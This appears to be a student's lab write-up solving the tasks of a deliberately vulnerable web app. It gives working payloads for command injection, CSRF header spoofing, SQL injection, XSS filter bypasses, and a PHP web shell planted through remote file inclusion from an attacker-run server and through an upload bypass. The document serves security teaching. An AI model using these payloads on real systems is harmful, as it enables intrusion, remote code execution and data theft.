Exercise 1:
Hackme

Contents

1 Tasks

1.1 Command Execution

The server executes the command `ping -c 3 $target` and expects one parameter: a *target*. If we provide `|| whoami` as the *target*, the command will become `ping -c 3 || whoami`, thus executing the `whoami` command and priting the result `www-data`. The `whoami` command can be replaced with any command we want.

1.2 Cross Site Request Forgery

The website makes the following check:

```
eregi("127.0.0.1", $_SERVER['HTTP_REFERER'])
```

If we intercept the traffic with *Burps' Proxy*, we can change the *Referer* header attribute to `127.0.0.1` and bypass the check. The message `Password Changed` will be printed.

1.3 File Inclusion

First, we need to create a new PHP file named exploit.php inside blatt2/a1 with the following content: `<?php system($_GET['cmd']); ?>`. We can then change our working directory to blatt2/a1 and create an HTTP listener by executing `sudo python3 -m http.server 80`. We would also need to bypass the following two lines:

```
1 $file = str_replace("http://", "", $file);
2 $file = str_replace("https://", "", $file);
```

Because it removes only the **http** and **https** keywords, and not, for example, **hTTp**, we can use this to our advantage. Navigating to http://10.0.23.21/vulnerabilities/fi/?page=hTTp://10.0.24.2/exploit.php&cmd=whoami will now print `www-data` in the top left corner. The `whoami` command can be replaced with any command we want.

Note: The IP address 10.0.24.2 was taken as an example and would probably need to be changed.

1.4 SQL Injection

The server executes the following SQL query

```
SELECT first_name, last_name FROM users WHERE user_id = id
```

and expects us to provide the *id*. If we provide `0 or 1=1` as the *id*, the command will become

```
SELECT first_name, last_name FROM users WHERE user_id = 0 or 1=1
```

and evaluate to true, i.e. show us all rows in the database. This happens because, although the first part evaluates to false (there is no user with ID of 0), the second part will always evaluate to true, thus making the whole equation true.

1.5 SQL Injection (Blind)

This task can be solved by providing the same payload as the previous *SQL Injection* task. But instead, let's take the approach where the source code is not known to us. The only thing that we know is the name of the database, as well as the columns.

First, let's find how many columns are returned by using `ORDER BY`. Each column can be assigned a number from 1 to n. So, if we execute `ORDER BY 1`, the rows will be sorted by the first column and so on. If the server returns a result, the SQL query was successful. We provide the following payload by replacing *i* with the numbers starting from 1 and going up: `1 ORDER BY i`.

At `i=3`, we can see that the server returns no results, meaning there are only two columns that are being returned. Let's check the assumption once again by providing `1 UNION SELECT null, null` as the payload. We can see that two results are being returned, which means we can proceed with the next step.

The final payload will be `1 UNION SELECT first_name, last_name FROM users`, which will return all rows in the database. The SQL query with the final payload will evaluate to the following:

```
SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT
↪  first_name, last_name from users
```

1.6 Upload

Again, lets first create a new PHP file named exploit.php inside blatt2/a1 with the following content: `<?php system($_GET['cmd']); ?>`. We can then navigate to the upload page and select the exploit.php file. Before clicking on *Upload*, lets enable *Burps' Proxy* and intercept the traffic with it. Because the server expects an image file (image/jpeg), we can change the `Content-Type` of the intercepted request from `application/x-php` to `image/jpeg` and forward the request.

This bypasses the restriction and uploads the file, returning the message `../../hackable/uploads/exploit.php succesfully uploaded!`. If we navigate to http://10.0.23.21/hackable/uploads/exploit.php?cmd=whoami, we can see that `www-data` is being printed. The `whoami` command can be replaced with any command we want.

1.7 Cross Site Scripting (Reflected)

By inputing some data in the input field, we can see that the server returns the string `Hello`, together with the data that we provided. If we, for example, enter `test`, the server will return `Hello test`. But, if we enter `xss<script>`, the server will only return `xss`.

As before, the server check only for the string `<script>`, but not for, lets say, `<SCRIPT>`. Therefore, if we provide `<SCRIPT>alert(1)</SCRIPT>`, it will show us an alert box.

1.8 Cross Site Scripting (Stored)

Once again, the server returns (almost) any input that we provide it with. The only difference is, that the input that we enter is not directly reflected to us, but is first being stored into a database. So, every time a user visits the website, the data is first fetched from the database and then shown to the user. This type of vulnerability is also known as persistent XSS.

Taking a look at the source code, we can see that the server sanitizes both the *name* and the *message* input:

```
1 // Sanitize message input
2 $message = trim(strip_tags(addslashes($message)));
```

```
3 $message = mysql_real_escape_string($message);
4 $message = htmlspecialchars($message);
5
6 // Sanitize name input
7 $name = str_replace('<script>', '', $name);
8 $name = mysql_real_escape_string($name);
```

As shown in line 4, the *message* input is also passed through the `htmlspecialchars()` function before being stored in the database. But as we can see, the *name* input is not. We can use this in order to exploit the XSS vulnerability.

But the *name* input field has another restriction - its *maxlength* attribute is set to 10. We can easily circumvent this by opening *Web Developer Tools* → *Inspector* (Mozilla) and changing the attribute value from 10 to 100. We can then enter the following payload in the *name* field, click on *Sign Guestbook* and an alert box will pop-up: `<SCRIPT>alert(1)</SCRIPT>`.

2 Requirements

2.1 FoxyProxy

In your browser, go to extensions and search for *FoxyProxy*. There are two different ones (Standard and Basic), but we will select and install the standard one. Then, open *FoxyProxys'* options and click on **Add**. For the *title* (Title or Description (optional)) enter Burp, for the *IP address* (Proxy IP address or DNS name) enter 127.0.0.1 and for the *port* enter 8080. After that, click on **Save**.

2.2 Burp Suite

In order to install *Burp Suite*, first navigate to https://portswigger.net/burp/releases/community/latest, select the architecture (Linux (64-bit) in our case) and click on **Download**. Then, navigate to the directory where the file was downloaded and execute the following command (change if needed) and follow the instructions.

```
sudo sh ./burpsuite_pro_linux_v2021_10_2.sh
```

Now, open *Burp Suite* and in the **Proxy** → **Intercept** tab, click on **Intercept is on** in order to disable the proxy (we will only use it when it is needed). After that, click on the *FoxyProxy* extension and select the **Burp** proxy. All traffic will now flow through *Burp Suite*. Then, navigate to http://burp/, download the **CA Certificate** (top-right corner) and import it into your browser.